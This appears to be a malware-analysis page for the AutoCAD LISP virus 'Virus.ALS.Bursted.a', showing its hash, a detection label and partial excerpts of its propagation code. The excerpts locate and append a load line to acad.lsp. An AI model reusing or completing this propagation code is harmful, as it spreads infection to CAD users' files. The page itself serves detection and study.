Hostile 92% Download

Virus.ALS.Bursted.a

Autocad virus propagation code

Recognizes malicious autocad files written in LISP
SHA-256fe69315ad20428a0627c9b3eb93b9288f7e70b2a3c8e3b6d08803281a5e80b28
MaleculeTh

Evidence

Recognizes malicious autocad files written in LISP lines 8–49
8:2… (setq wjqm (findfile nowdwg))
9 (setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
10 (setq acadpath (findfile "acad.lsp"))
11 (setq acadpath (substr acadpath 1 (- (strlen acadpath) 8)))
12 (setq ns1 "" ns2 "")
13 (setq lspbj 0)
14 (setq wjqm (strcat path "acad.lsp"))
15 (if (setq wjm (open wjqm "r"))
16 (progn
17 (while (setq wz (read-line wjm))
⋯13 lines
31 (progn
32 (setq oldacad (findfile "acad.lsp"))
33 (setq newacad (strcat path "acadapp.lsp"))
34 (if (= lspbj 0)
35 (progn
36 (setq wjqm (strcat path "acad.lsp"))
37 (setq wjm (open wjqm "a"))
38 (write-line (strcat "(load" (chr 34) "acadapp" (chr 34)")") wjm)
39 (write-line "(princ)" wjm)
40 (close wjm)
⋯9 lines

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.